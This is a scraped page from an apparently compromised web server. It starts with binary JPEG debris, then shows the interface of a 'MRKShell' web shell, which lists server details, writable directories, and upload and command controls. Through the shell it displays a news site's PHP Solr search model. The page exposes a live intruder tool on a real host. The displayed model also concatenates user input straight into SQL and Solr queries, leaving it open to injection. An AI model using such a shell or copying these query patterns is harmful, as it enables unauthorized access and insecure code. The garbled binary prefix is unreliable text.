JFIF # -$)%7&).0444#9?92>-240 5+#+4;224;652252222225222220222522225222522;2225222222"B!1AQa"q2B#R3br5CS/!12AQ"aRq#3 ??;}q7:bd%Ո>L8/$rsrQٷf=+e: Rb0Z6pN۰7b 1S`JAT K,-֥7(bNRb9CsD/s,9?}+KA]`,EΞ@@ 3ukq14""tD@D@D@D@D@D@D@D@D@D@D@ȓ|:^Yw-)G%AI/9pwVSнm@6=g7AA5tg18gj>F'J,{C3(q<*#AzX?[$va:Q4SԽ7Uԥ&,c}nF;3mO$DN}RySm\*I"}b%7GLj;gp{{FYs(p_xOJFtStǸMU蓰s95"#H'Uq>7F5[}>v%'Y,&CqMzn}m*Xo vl˳hrӦ V)))g`7$sz^%I-1leE]y%݉>?f}( *BNNñ𜤢S[i'T1 ӥԊ>NlHď~)pKw1.UsD LI/k]Sr\r=ߴMAZNKi+P}| qBS*G*z:Imk\_|l6A7߉H\z0賈'Zt_\u>4 {\#O[ERxzLvP wOLT C0ȴ]BAʷ7uNNINS,(DDDDDDDL8MY݂N$ dMK׭i2FesmNQ=?omKv]OVl^@&pɴ[t5+E`oy.E]Ϳ}$g(7y7&X+imcT\(cHɤ|=. C =yȗXʧpv=&cX*[X_i4 GtfFՓnbMjR@ thv4LO I0zlU-_*G!cH9`nԿ \k-~rS*c[}9]qbi~+%)(h($ s;dՒG_\ё[Q,plq!pEſA RZU0*\n]a~Md_3EZ { &8e:jR*dAkyۛs\B˞0Z5%6e`3;0slSx+Xȇ"*ozkE"vܬWاQ8r @ m5$ [/KNFycgrۑ@ {""""""|xd*@s7o~7BSG|܎vøGtЍL١ѬnK/, f~^~l/Ij+!JI'^;{˚*hӤJarʮ)ڱ[P^$;%.V FLJW̔?2ԭUpJe,~b%iW Yhz̻FAl|3ln"M4kM@$2wmͣp8JY)ݬ.]3vԩİ(P*Tb/1FXTg KŮ*C9jE[69d!GZȩMu!5`H\Cp"=wSAmJjCn&/*Q[kQ~b"zΕ~)aA(2EZ0(FÑp.66_φk}T5 YdRarK ɽLSj"SnR-N-Mz~F^Igb Jq(~X fH'Ӵp5_HN(ܰ,Ȍ䶛DK%a~?FuI}"p=U+j}'p&I_ɑ-x!IٮM:w|q;9M?.6x:ODѪ̬zTL`t^?8xJ$ Q cL4d/_xy ˔ SPGNgwSrrS/`5ӧKj ,hTpI=LѦ(,Pc4*4iESO?5sMz<`&_bsTO)fkX[ xqq::h9ifVۉ\_R }JVg~Jzm`(]:O &6IOghX6+HM 7X]RkUr{HL-"< >~28b{[><@6gF5&\1̹nVŕonZM7 (SF$l\sM];owE+IֹȫzɲDߌPcMQMG)b,N ;*!uo&rHT`s^7įĴz0?P&Ҫ3]@H:hڢFҢM~p{&0s?k}+Ι9׵mw >?"fs+Odٯ̌m(R9T:UpbkW=F*ZQh urk8C8@ҧeUԀyKS '.UP,NBcpFS6n=AJl*7 4<(XY_Cda/D=()b,{yHL>[jrǹ7#M7fO`o/w]GȈEU2f\?7a)#봙݂͠SEg>VRdPfF@PV"Ꮷ_(qCJG_0?1[% NKu$7&ۭ ߡ26U$`/ 3ES:/nek |\tmSg5 س}6/qDT "(*sP4SrX)%T(6y%_ Z9<%]B}oyyY"]76*U*vjijw i3D̍IS \Jnn9ۋ>%o;~)5u56槡'z* B5#5

5#a`,>1TW{Xɘ}G4"ҕ4z5F>e6*[\;%*U0LUUr2cpnݢkɜY͌3+bG0#el۴oe,,jO*M1X/3z)W^,p>s{ İQs:ޝd|w :fIe$~+ajXjnT80'S>KIUP&kNϒT=XlȞNڞ]Yz_K[Qׂގ\gq!nB@IoG *l;_뼳\RUeэkm)qh傢5KNz٘6ba:671k{  $N vfN]S7gxg=VjG;wBx t~l/"ʭl=ԝ6n[Dٛ]@"x)# E):\8Bvkcpv4O*;coJ?4ªMCA'.\zVð'w1USݻSlTyj/ gʕ,:S')ܴ]7!A^b%P׶ٮհU3 o\}XTp,e 597n}dk6UFrVǧ3qaR:BWn>Ѻ}oxKӦK)kܑKL tCs1#?升 v{r:u)?#ZxM=ڝYـ#e}JHBGTG>GsܞG2+~R̅Hש)$[*Hfx-ugx({ I7λwvYm~ |e'X#db@hW,0H8*J5AъA`;jȊY*&sh8Jn]"M>l3z%Րsy=Um'qF sX %,Uv|0W`Gzcy*V0'3R`5ޓ Hڙ>PWbw7;)[U(:krm>/ QU+)P>Hm!r -evY>wT7ԝe)^6_SN⚓ϫ('?2Sj5,[پd|+_Pv'[]t'mΝ2l}z/dz^E|"'J qED)R2ƂSg`9Ոu5~ d!G%>M6%pdcP-P L`ϼTQnA_,24G GneRn,XnߕSzV$ReBfZuE ,Z(yi?vO!clOYA [; c I|vCom+Hꡤ\eaӴ;XS|v4%FcϷAQ[yϢ_s+Ơ&pt}=%^Sb"#gĀ'[ oAUPzr;ȔZTy4t>f種ً>T؟GRgC^-WЖukS,G LV$ܱO餰%cp)[*X_v$@DDӢ3bE-V0֍?zySyadd\ j5": Bxi?;3a]1]ZFD澙rc|8uz/ CȎ3UTqb4'ҥX 6KʖYT2fPe$6 lGzSQTP} OL1q^*rxջQ_K?'?=V MR K IS HERE

MRKShell
Server IP : 172.67.193.120  /  Your IP : 172.71.28.168
Web Server : nginx/1.14.1
System : Linux comtuc2-s-2vcpu-8gb-160gb-intel-nyc3 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User : nginx ( 991)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/comunicacion/produccion/sitio/application/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/comunicacion/produccion/sitio/application/models/solr_modelo.php
<?php

class Solr_modelo extends CI_Model
{
	private $host_solr;
	private $user_solr;
	private $pass_solr;
	private $port_solr;
	private $path_solr;





	function __construct()
    {
    	parent::__construct();
    	$this->host_solr = HOST_SOLR;
    	$this->user_solr = USUARIO_SOLR;
    	$this->pass_solr = PASSWORD_SOLR;
    	$this->port_solr = PUERTO_SOLR;
    	$this->path_solr = '/solr/'.CORE_SOLR;
    }





    public function setter($att,$value)
    {
        $this->$att = $value;
    }





    public function getter($att)
    {
        return $this->$att;
    }


	public function listadoPorTag($tags_id,$edicion_actual,$inicio=0,$cant=20)
	{
		$options = array
		(
        'hostname' => $this->host_solr,
        'login'    => $this->user_solr,
        'password' => $this->pass_solr,
        'port'     => $this->port_solr,
        'path' => $this->path_solr
		);

		$client = new SolrClient($options);

		//armo concatennado los id.
		//$query = '(tag_id:'.$tags_id.') OR (tag_tipo:1) or (tag_tipo:2) or (tag_tipo:4)';
		$query = '(tag_id:'.$tags_id.')';

		$consulta = new SolrQuery($query);
		$consulta->addSortField('fecha',SolrQuery::ORDER_DESC);
		$consulta->setStart($inicio);
		$consulta->setRows($cant);
		$consulta->addFilterQuery('habilitada:true');
		$consulta->addFilterQuery('edicion_id:[* TO '.$edicion_actual.']');
		$respuesta_consulta = @$client->query($consulta);
		$respuesta = @$respuesta_consulta->getResponse();
		//echo "<pre>".print_r($respuesta->response->docs,true)."</pre>";
		//die();
		return $respuesta->response->docs;
	}





	public function listadoPorSeccionEdicionActual($seccion_id,$edicion_actual)
	{
		$options = array
		(
        'hostname' => $this->host_solr,
        'login'    => $this->user_solr,
        'password' => $this->pass_solr,
        'port'     => $this->port_solr,
        'path' => $this->path_solr
		);

		$client = new SolrClient($options);

		//armo concatennado los id.
		$query = '(tag_id:'.$seccion_id.')';

		$consulta = new SolrQuery($query);
		$consulta->addSortField('id',SolrQuery::ORDER_DESC);
		$consulta->setStart(0);
		$consulta->setRows(100);
		$consulta->addFilterQuery('habilitada:true');
		$consulta->addFilterQuery('tag_tipo:5');
		$consulta->addFilterQuery('edicion_id:'.$edicion_actual);
		$respuesta_consulta = @$client->query($consulta);
		$respuesta = @$respuesta_consulta->getResponse();
		//echo $edicion_actual."<pre>".print_r($respuesta->response->docs,true)."</pre>";
		return $respuesta->response->docs;
	}





	public function listadoPorSeccion($seccion_id,$edicion_actual,$inicio=0,$cant=20)
	{
		$options = array
		(
        'hostname' => $this->host_solr,
        'login'    => $this->user_solr,
        'password' => $this->pass_solr,
        'port'     => $this->port_solr,
        'path' => $this->path_solr
		);

		$client = new SolrClient($options);

		//armo concatennado los id.
		$query = '(tag_id:'.$seccion_id.')';

		$consulta = new SolrQuery($query);
		$consulta->addSortField('id',SolrQuery::ORDER_DESC);
		$consulta->setStart($inicio);
		$consulta->setRows($cant);
		$consulta->addFilterQuery('habilitada:true');
		$consulta->addFilterQuery('tag_tipo:5');
		$consulta->addFilterQuery('edicion_id:[* TO '.$edicion_actual.']');
		$respuesta_consulta = @$client->query($consulta);
		$respuesta = @$respuesta_consulta->getResponse();
		//echo "<pre>".print_r($respuesta->response->docs,true)."</pre>";
		return $respuesta->response->docs;
	}

	public function ping()
	{
		$options = array
		(
        'hostname' => $this->host_solr,
        'login'    => $this->user_solr,
        'password' => $this->pass_solr,
        'port'     => $this->port_solr,
        'path' => $this->path_solr
		);

		if (class_exists('SolrClient'))
		{
			$client = new SolrClient($options);
			try
			{
				$pingresponse = @$client->ping();
				return true;
			}
			catch(Exception $e)
			{
				return false;
			}
		}
		else
			return false;

	}

	public function dameMLT($nota_id,$campo="texto")
	{
		$options = array
		(
        'hostname' => $this->host_solr,
        'login'    => $this->user_solr,
        'password' => $this->pass_solr,
        'port'     => $this->port_solr,
        'path' => $this->path_solr
		);

		if (class_exists('SolrClient'))
		{
			$client = new SolrClient($options);
			try
			{
				$clave = 'id:'.$nota_id;
		        $consulta = new SolrQuery($clave);
		        $consulta->setMlt(true);
		        //$consulta->setMltCount(5);
		        $consulta->setMltCount(4);
		        $consulta->setMltMinDocFrequency(1);
		        $consulta->setMltMinTermFrequency(1);
		        $consulta->addMltField($campo);
		        $consulta->setMltBoost(true);
		        $respuesta_consulta = @$client->query($consulta);
		        $respuesta = @$respuesta_consulta->getResponse();
		        if ($hay=$respuesta->response->numFound > 0)
		        {
		        	$mlt = $respuesta->moreLikeThis;
		        	foreach ($mlt as $ind => $cont)
	                {
	                		if ($cont->numFound > 0)
	                        	$notas = $cont['docs'];
	                        else
	                        	$notas = false;

	                        break;
	                }
	                return $notas;
		        	/*if ($mlt->$nota_id->numFound > 0)
		        	{
		        		$notas = $mlt->$nota_id->docs;
		        		return $notas;
		        	}
		        	else
		        		return false;*/
		        }
		        else
		        	return false;
			}
			catch(Exception $e)
			{
				return false;
			}
		}
		else
			return false;
	}

	public function listadoPorEdicion($edicion_id,$inicio=0,$cant=30)
	{
		$options = array
		(
        'hostname' => $this->host_solr,
        'login'    => $this->user_solr,
        'password' => $this->pass_solr,
        'port'     => $this->port_solr,
        'path' => $this->path_solr
		);

		if (class_exists("SolrClient"))
		{
			$client = new SolrClient($options);
	
			$query = '(edicion_id:'.$edicion_id.')';
	
			$consulta = new SolrQuery($query);
	
			$consulta->addFilterQuery('habilitada:true');
			$consulta->addSortField('id',SolrQuery::ORDER_DESC);
			$consulta->setStart($inicio);
			$consulta->setRows($cant);
			$respuesta_consulta = @$client->query($consulta);
			$respuesta = @$respuesta_consulta->getResponse();
			
			$res = $respuesta->response->docs;	
	
			$CI =& get_instance();
			$CI->load->library("varios_library");
			$CI->load->model("nota_modelo","nota_modelo",true);
	
			//armo nuevo array
			$listado2 = array();
			foreach($res as $k => $v)
			{
				$listado2[$k]['id'] =$v['id'];
				$listado2[$k]['antetitulo'] =$v['antetitulo'];
				$listado2[$k]['edicion_id'] =$v['edicion_id'];
				$listado2[$k]['titulo'] =$v['titulo'];
				$listado2[$k]['bajada'] =$v['sumario'];
				$listado2[$k]['destacada'] = $CI->nota_modelo->dameImagenDestacadaSolr($v['id']);
				if ($v['sumario']=="")
				{
					$listado2[$k]['texto'] = $CI->varios_library->cortar_texto(strip_tags($v['texto']),180," ");
				}
				else
					$listado2[$k]['texto']= "";
				$listado2[$k]['fecha'] = $CI->varios_library->formatear_fecha_GTZ($v['fecha'],'d-m-Y');
		
				$seccion_nombre = $v['tag'][0];
				$listado2[$k]['seccion_nombre'] =$seccion_nombre;
			}
			
			if (count($listado2) > 0)
				return $listado2;
			else
				return false;
		}
		else
			return false;
	}

	public function buscador($palabra,$edicion_actual,$pagina=1,$temas="",$firmas="",$fecha="",$inicio=0)
	{
		$options = array
		(
        'hostname' => $this->host_solr,
        'login'    => $this->user_solr,
        'password' => $this->pass_solr,
        'port'     => $this->port_solr,
        'path' => $this->path_solr
		);

		$client = new SolrClient($options);

		$palabras = explode("_",$palabra);
		$para_firma = str_replace("_", " ", $palabra);
		if (count($palabras) > 0)
		{
			$palabra = "";
			foreach ($palabras as $p)
			{
				$palabra .= $p." AND "; 
			}
			$palabra = substr($palabra, 0, strlen($palabra)-5);
		}

		if ($pagina > 1)
		{
			$inicio = ($pagina-1)*18;
		}
		else
			$inicio = 0;

		//COMIENZA BUSQUEDA DE MAS DE UNA PALABRA
		//Dividir palabra en espacios
		$palabrasArray = explode("+", $palabra);
				
		if(count($palabrasArray)>1){

			for($i=0;$i<count($palabrasArray);$i++){

			$palabrasArray[$i] = preg_replace("/%C3%B1/i", "n", $palabrasArray[$i]);
			$palabrasArray[$i] = preg_replace("/%C3%A1/i", "a", $palabrasArray[$i]);
			$palabrasArray[$i] = preg_replace("/%C3%A9/i", "e", $palabrasArray[$i]);
			$palabrasArray[$i] = preg_replace("/%C3%AD/i", "i", $palabrasArray[$i]);
			$palabrasArray[$i] = preg_replace("/%C3%B3/i", "o", $palabrasArray[$i]);
			//TITULO
			if($i<count($palabrasArray)-1){
				
				$titulo = '(titulo:' .$palabrasArray[$i].') AND '.$titulo;
				
			}else{
				
				$titulo = $titulo.'(titulo:' .$palabrasArray[$i].')';
			
			}

			//titulo=fantino and titulo=manzur
			//or
			//sumario=fantino and sumario=manzur
			//or texto=fantiano and texto=manzur
			//SUMARIO
			if($i<count($palabrasArray)-1){
				
				$sumario = '(sumario:' .$palabrasArray[$i].') AND '.$sumario;
				
			}else{
				
				$sumario = $sumario.'(sumario:' .$palabrasArray[$i].')';
			
			}

			//TEXTO
			if($i<count($palabrasArray)-1){
				
				$texto = '(texto:' .$palabrasArray[$i].') AND '.$texto;
				
			}else{
				
				$texto = $texto.'(texto:' .$palabrasArray[$i].')';
			
			}

			//FIRMA
			if($i<count($palabrasArray)-1){
				
				$firma = '(firma:' .$palabrasArray[$i].') AND '.$firma;
				
			}else{
				
				$firma = $firma.'(firma:' .$palabrasArray[$i].')';
			
			}

		}

			$query2 = "(".$titulo.") OR (".$sumario.") OR (".$texto.") OR (".$firma.")";
		
		}else{
			$query2 = '(titulo:'.$palabra.')OR(sumario:'.$palabra.')OR(texto:'.$palabra.')OR(firma:"'.$para_firma.'")';
		}

		
		
		//FINALIZA BUSQUEDA DE MAS DE UNA PALABRA
		$query = '(titulo:'.$palabra.')OR(sumario:'.$palabra.')OR(texto:'.$palabra.')OR(firma:"'.$para_firma.'")';
		$consulta = new SolrQuery($query2);
		//$consulta->setHighlight(true);
		$consulta->setFacet(true);
		$consulta->setFacetLimit(5);
		$consulta->setFacetMinCount(1);
		$consulta->addFacetField('tag_id');
		$consulta->addFacetField('id_firma');

		$consulta->addFilterQuery('edicion_id:[0 TO '.$edicion_actual.']');

		if ($temas!="" and is_array($temas))
		{
			foreach ($temas as $tag_id)
			{
				$consulta->addFilterQuery('tag_id:'.$tag_id);
			}
		}

		if ($firmas!="" and is_array($firmas))
		{
			foreach ($firmas as $firma_id)
			{
				$consulta->addFilterQuery('id_firma:'.$firma_id);
			}
		}

		$consulta->addFilterQuery('habilitada:true');
		$consulta->addSortField('fecha',SolrQuery::ORDER_DESC);
		$consulta->setStart($inicio);
		$consulta->setRows(18);
		$respuesta_consulta = @$client->query($consulta);
		$respuesta = @$respuesta_consulta->getResponse();
		
		$res = $respuesta->response->docs;

		if ($respuesta->response->numFound > 0)
		{
			$CI =& get_instance();
			$CI->load->library("varios_library");
			$CI->load->model("tag","tag_modelo",true);
			$colores_array = array();
			$nombre_array = array();
			foreach ($res as $key => $not) 
			{
					if (is_array($not['tag_tipo']))
					{
						foreach ($not['tag_tipo'] as $k => $tipo)
						{
							if ($tipo == 5)
							{
								$t = $not['tag_id'][$k];
								if (isset($colores_array[$t]))
								{
									$color = $colores_array[$t];
									$nombre = $nombre_array[$t];
									$urlt = $url_array[$t];
								}
								else
								{
									$color_nombre = $CI->tag_modelo->dameNombreColor($t);
									$urlt = $color_nombre['url'];
									$nombre = $color_nombre['nombre'];
									$color = $color_nombre['color'];
									if ($color_nombre['color']!="")
									{
										$colores_array[$t] = $color;
										$nombre_array[$t] = $nombre;
										$url_array[$t] = $urlt;
									}
									else
										$color = "";
								}
								$res[$key]['seccion_color'] = $color;
								$res[$key]['seccion_nombre'] = $nombre;
								if($urlt)
									$res[$key]['seccion_url'] = $urlt;
								else
									$res[$key]['seccion_url'] = '';
								break;
							}
							else
							{
								$tag['id'] = $not['tag_id'][$k];
								$tag['nombre'] = $not['tag'];
								$res[$key]['tags'][]=$tag;
							}
						}
					}
			}

			//echo "<pre>".print_r($res,true)."</pre>"; die();

			$facet_tag = $respuesta->facet_counts->facet_fields->tag_id;
			$facet_firma = $respuesta->facet_counts->facet_fields->id_firma;

			$retornar['notas'] = $res;
			$retornar['inicio'] = $inicio;//agregado para el paginador
			$retornar['encontrados'] = $respuesta->response->numFound;
			$retornar['facet_tag'] = $facet_tag;
			$retornar['facet_firma'] = $facet_firma;
			return $retornar;
		}
		else
			return false;
	}

	public function dameNotasPorPeriodista($firma_id,$edicion_id)
	{
		$options = array
		(
        'hostname' => $this->host_solr,
        'login'    => $this->user_solr,
        'password' => $this->pass_solr,
        'port'     => $this->port_solr,
        'path' => $this->path_solr
        );

		$client = new SolrClient($options);

        $query = 'id_firma:'.$firma_id;
		$consulta = new SolrQuery($query);
		$consulta->addFilterQuery('edicion_id:[* TO '.$edicion_id.']');
		$consulta->addSortField('fecha',SolrQuery::ORDER_DESC);
		$consulta->setStart(0);
		$consulta->setRows(3);
		$respuesta_consulta = @$client->query($consulta);
		$respuesta = @$respuesta_consulta->getResponse();
		
		$res = $respuesta->response->docs;

		if ($respuesta->response->numFound > 0)
		{
			foreach ($res as $key => $nota) 
			{
				if (isset($nota->tag_tipo) and is_array($nota->tag_tipo))
				{
					$seccion = "";
					foreach ($nota->tag_tipo as $ord => $tipo)
					{
						if ($tipo == 5)
						{
							$seccion = $nota->tag[$ord];
							$res[$key]['seccion'] = $seccion;
							break;
						}
					}
				}
			}
			return $res;
		}
		else
			return false;
	}

	public function usuario_tags($tag_id,$edicion_id=0)
	{
	
		$options = array
		(
			'hostname' => HOST_SOLR,
			'login'    => USUARIO_SOLR,
			'password' => PASSWORD_SOLR,
			'port'     => 8984,
			'path'	   => '/solr/core0'
				
		);

		if (class_exists("SolrClient"))
		{
			$client = new SolrClient($options);
			
			try{
				
			$clave = '(tag_id:'.$tag_id.')';
	
			//$clave = '(tag_id:434)';
	
			$consulta = new SolrQuery($clave);
	
			$consulta->setStart(0);
			$consulta->setRows(8);
	
			$consulta->addFilterQuery('edicion_id:[* TO '.$edicion_id.']');
			$consulta->addFilterQuery('habilitada:true');
			$consulta->addSortField('fecha', $order = SolrQuery::ORDER_DESC);
	
			$respuesta_consulta = @$client->query($consulta);
			$respuesta = @$respuesta_consulta->getResponse();
			$res = $respuesta->response->docs; 
	
			//$res = $notas_array;
	
			//Obtengo foto y seccion
			$tags_color=array();
			$aux= array();
	
			if(is_array($res))
			{
				foreach($res as $k => $v)
				{
					$aux[]=$v->id;
				}
			}
	
			$CI =& get_instance();
			$CI->load->library("varios_library");
			$CI->load->model("nota_modelo","nota_modelo",true);
			$CI->load->model("tag","tag_modelo",true);
	
			$aux2 = NULL;
	
			if(count($aux)>0)
			{	
				$aux2 = $CI->nota_modelo->dameImagenesDestacadas($aux);
			}
									
			$imagenes = array();
			if(is_array($aux2))
			{
				foreach($aux2 as $v)
				{
					$imagenes[$v['nota_id']] = $v['imagen'];
				}
			}
	
			//armo nuevo array
			$listado2 = array();
			if(is_array($res))
			{
				foreach($res as $k => $v)
				{
					$listado2[$k]['id'] =$v['id'];
					$listado2[$k]['antetitulo'] =$v['antetitulo'];
					$listado2[$k]['edicion_id'] =$v['edicion_id'];
					$listado2[$k]['titulo'] =$v['titulo'];
					$listado2[$k]['bajada'] =$v['sumario'];
					$listado2[$k]['fecha'] = $CI->varios_library->formatear_fecha_GTZ($v['fecha'],'d-m-Y');
					$listado2[$k]['url'] =$CI->varios_library->limpiarurl($v['titulo']).'.html';
					$listado2[$k]['tag_id'] = $v['tag_id'];
					$listado2[$k]['tag_tipo'] = $v['tag_tipo'];
					$listado2[$k]['tag'] = $v['tag'];
					$seccion_nombre = '';
					if(is_array($v['tag_id']))
					{
						foreach ($v['tag_id'] as $k2 => $v2)
						{
							if($v2==$tag_id)
							{
								$seccion_nombre = $v['tag'][$k2];
								
								if (isset($tags_color[$v2]))
								{
									$color = $tags_color[$v2];
								}
								else
								{
									$color = $CI->tag_modelo->dameColor($v2);
									$tags_color[$v2] = $color;
	
								}
								$listado2[$k]['seccion_color'] =$color;
								
								break;
							}
						}
					}
					$listado2[$k]['seccion_nombre'] =$seccion_nombre;
					$hora_um = $CI->nota_modelo->dameHoraUM($v['id']);
					if ($hora_um)
					{
						$listado2[$k]['hora'] = $hora_um['hora'];
						$listado2[$k]['um'] = $hora_um['um'];
					}
					else
					{
						$listado2[$k]['hora'] = "";
						$listado2[$k]['um'] = "";
					}
	
					if(isset($imagenes[$v['id']]))
					{
						$listado2[$k]['destacada'] =$imagenes[$v['id']];
					}
					else
					{
						$listado2[$k]['destacada'] = NULL;	
					}
	
					if(isset($v['id_firma']) and is_array($v['id_firma']))
					{
						$listado2[$k]['firma_id'] = $v['id_firma'][0];
						$listado2[$k]['firma_nombre'] = $v['firma'][0];
					}
				}
			}
			
			if (count($listado2) > 0)
				return $listado2;
			else
				return false;
	
			}
	
			catch(Exception $e){
				return false;
			}
		}
		else
			return false;
	}

	public function usuario_tags_blogs()
	{
	
		$options = array
		(
			'hostname' => HOST_SOLR,
			'login'    => USUARIO_SOLR,
			'password' => PASSWORD_SOLR,
			'port'     => 8984,
			'path'	   => '/solr/core0'
				
		);

		$client = new SolrClient($options);
		
		try{
			
		$clave = '(edicion_id:0)';

		//$clave = '(tag_id:434)';

		$consulta = new SolrQuery($clave);

		$consulta->setStart(0);
		$consulta->setRows(8);

		//$consulta->addFilterQuery('edicion_id:0');
		$consulta->addFilterQuery('habilitada:true');
		$consulta->addSortField('fecha', $order = SolrQuery::ORDER_DESC);

		$respuesta_consulta = @$client->query($consulta);
		$respuesta = @$respuesta_consulta->getResponse();
		$res = $respuesta->response->docs; 

		//$res = $notas_array;

		//Obtengo foto y seccion
		$tags_color=array();
		$aux= array();
		foreach($res as $k => $v)
		{
			$aux[]=$v->id;
		}

		$CI =& get_instance();
		$CI->load->library("varios_library");
		$CI->load->model("nota_modelo","nota_modelo",true);
		$CI->load->model("tag","tag_modelo",true);

		if(count($aux)>0)
		{	
			$aux2 = $CI->nota_modelo->dameImagenesDestacadas($aux);
		}
								
		$imagenes = array();
		if(is_array($aux2))
		{
			foreach($aux2 as $v)
			{
				$imagenes[$v['nota_id']] = $v['imagen'];
			}
		}

		//armo nuevo array
		$listado2 = array();
		foreach($res as $k => $v)
		{
			$listado2[$k]['id'] =$v['id'];
			$listado2[$k]['antetitulo'] =$v['antetitulo'];
			$listado2[$k]['edicion_id'] =$v['edicion_id'];
			$listado2[$k]['titulo'] =$v['titulo'];
			$listado2[$k]['bajada'] =$v['sumario'];
			$listado2[$k]['fecha'] = $CI->varios_library->formatear_fecha_GTZ($v['fecha'],'d-m-Y');
			$listado2[$k]['url'] =$CI->varios_library->limpiarurl($v['titulo']).'.html';
			$listado2[$k]['tag_id'] = $v['tag_id'];
			$listado2[$k]['tag_tipo'] = $v['tag_tipo'];
			$listado2[$k]['tag'] = $v['tag'];
			$listado2[$k]['is_blog'] = 1;
			$seccion_nombre = '';
			$tag_id = 388;
			if(is_array($v['tag_id']))
			{
				foreach ($v['tag_id'] as $k2 => $v2)
				{
					if($v2==$tag_id)
					{
						$seccion_nombre = $v['tag'][$k2];
						
						if (isset($tags_color[$v2]))
						{
							$color = $tags_color[$v2];
						}
						else
						{
							$color = $CI->tag_modelo->dameColor($v2);
							$tags_color[$v2] = $color;

						}
						$listado2[$k]['seccion_color'] =$color;
						
						break;
					}
				}
			}
			$listado2[$k]['seccion_nombre'] =$seccion_nombre;
			$hora_um = $CI->nota_modelo->dameHoraUM($v['id']);
			if ($hora_um)
			{
				$listado2[$k]['hora'] = $hora_um['hora'];
				$listado2[$k]['um'] = $hora_um['um'];
			}
			else
			{
				$listado2[$k]['hora'] = "";
				$listado2[$k]['um'] = "";
			}

			if(isset($imagenes[$v['id']]))
			{
				$listado2[$k]['destacada'] =$imagenes[$v['id']];
			}
			else
			{
				$listado2[$k]['destacada'] = NULL;	
			}

			if(isset($v['id_firma']) and is_array($v['id_firma']))
			{
				$listado2[$k]['firma_id'] = $v['id_firma'][0];
				$listado2[$k]['firma_nombre'] = $v['firma'][0];
			}
		}
		
		if (count($listado2) > 0)
			return $listado2;
		else
			return false;

		}

		catch(Exception $e){
			return false;
		}

	}

	public function queSigueElUsuario($usuario){
	
		$sql = "select tag_id from usuario_tags_seguir 
			where usuario_id = ".$usuario['id'];

		$query = $this->db->query($sql);
		if ($query->num_rows() > 0){
			$res = $query->result_array();
			return $res;
		}
			else
				return 0;

	}

	public function dameTodasNotificaciones($usuario,$start=0){

		$options = array
		(
			'hostname' => HOST_SOLR,
			'login'    => USUARIO_SOLR,
			'password' => PASSWORD_SOLR,
			'port'     => 8984,
			'path'	   => '/solr/core2'
		);

		if (class_exists('SolrClient'))
		{
			$client = new SolrClient($options);

			try{
				
			$clave = '(usuario_id_destino:'.$usuario['id'].')';
							
			$consulta = new SolrQuery($clave);

			$consulta->setStart($start);
			$consulta->setRows(20);
			$consulta->addSortField('fecha',$order = SolrQuery::ORDER_DESC);

			$respuesta_consulta = @$client->query($consulta);
			$respuesta = @$respuesta_consulta->getResponse();
			$notas_array = $respuesta->response->docs; 

			$CI =& get_instance();
			$CI->load->model("usuario","usuario",true);
			$usuarios = array();
			foreach ($notas_array as $k => $tm) 
			{
				if (isset($usuarios[$tm->usuario_id_origen]))
				{
					$us = $usuarios[$tm->usuario_id_origen];
				}
				else
				{
					$us = $CI->usuario->dameInfoParaAvatar($tm->usuario_id_origen);
					$usuarios[$tm->usuario_id_origen] = $us;
				}
				if ($us)
				{
					$notas_array[$k]->avatar_mostrar = $us['avatar_mostrar'];
					$notas_array[$k]->facebook_id = $us['facebook_id'];
					$notas_array[$k]->imagen_estado = $us['imagen_estado'];
				}
				else
				{
					$notas_array[$k]->avatar_mostrar = 1;
					$notas_array[$k]->facebook_id = 0;
					$notas_array[$k]->imagen_estado = 1;	
				}
			}

			return $notas_array;

			}

			catch(Exception $e){
				return false;
			}
		}
		else
			return false;

	}


	public function usuario_listado_notas($lista_tags,$edicion_id,$lista_id_periodistas=""){
	
	$options = array
		(
			'hostname' => HOST_SOLR,
			'login'    => USUARIO_SOLR,
			'password' => PASSWORD_SOLR,
			'port'     => 8984,
			'path'	   => '/solr/core0'		
		);

		$client = new SolrClient($options);
		
		try{			
			$cantidad=count($lista_tags);
			$clave = '(';
			for($i=0;$i<$cantidad-1;$i++)
			{
				$clave .= 'tag_id:'.$lista_tags[$i].' OR ';
			}
			$clave .= 'tag_id:'.$lista_tags[$cantidad-1].')';
		
			//agrego a la cadena del query los id de periodistas
			if($lista_id_periodistas or $lista_id_periodistas!=""){
				$cant_periodista=count($lista_id_periodistas);
				$arr = array();
				for($j=0;$j<$cant_periodista;$j++)
				{
					if($lista_id_periodistas[$j]<>'')
					{
						$arr[]= 'id_firma:'.$lista_id_periodistas[$j];
					}
				}
				if(count($arr)>0)
				{
					$clave=str_replace(')',' OR ',$clave);
					$clave .=implode(' OR ',$arr);
					$clave .= ')';
				}
			}
			//echo $clave;

			$consulta = new SolrQuery($clave);

			$consulta->setStart(0);
			$consulta->setRows(30);

			$consulta->addFilterQuery('edicion_id:[* TO '.$edicion_id.']');
			$consulta->addFilterQuery('habilitada:true');
			$consulta->addSortField('fecha', $order = SolrQuery::ORDER_DESC);

			$respuesta_consulta = @$client->query($consulta);
			$respuesta = @$respuesta_consulta->getResponse();
			$res = $respuesta->response->docs;
			
			$tags_color=array();
			$tags_url=array();
			$aux= array();
			foreach($res as $k => $v)
			{
				$aux[]=$v->id;
			}

			$CI =& get_instance();
			$CI->load->library("varios_library");
			$CI->load->model("nota_modelo","nota_modelo",true);
			$CI->load->model("tag","tag_modelo",true);

			if(count($aux)>0)
			{	
				$aux2 = $CI->nota_modelo->dameImagenesDestacadas($aux);
			}
										
			$imagenes = array();
			if(is_array($aux2))
			{
				foreach($aux2 as $v)
				{
					$imagenes[$v['nota_id']] = $v['imagen'];
				}
			}

			//armo nuevo array
			$listado2 = array();
			foreach($res as $k => $v)
			{
				$listado2[$k]['id'] =$v['id'];
				$listado2[$k]['antetitulo'] =$v['antetitulo'];
				$listado2[$k]['edicion_id'] =$v['edicion_id'];
				$listado2[$k]['titulo'] =$v['titulo'];
				$listado2[$k]['bajada'] =$v['sumario'];
				$listado2[$k]['fecha'] = $CI->varios_library->formatear_fecha_GTZ($v['fecha'],'d-m-Y');
				$listado2[$k]['url'] =$CI->varios_library->limpiarurl($v['titulo']).'.html';
				$listado2[$k]['tag_id'] = $v['tag_id'];
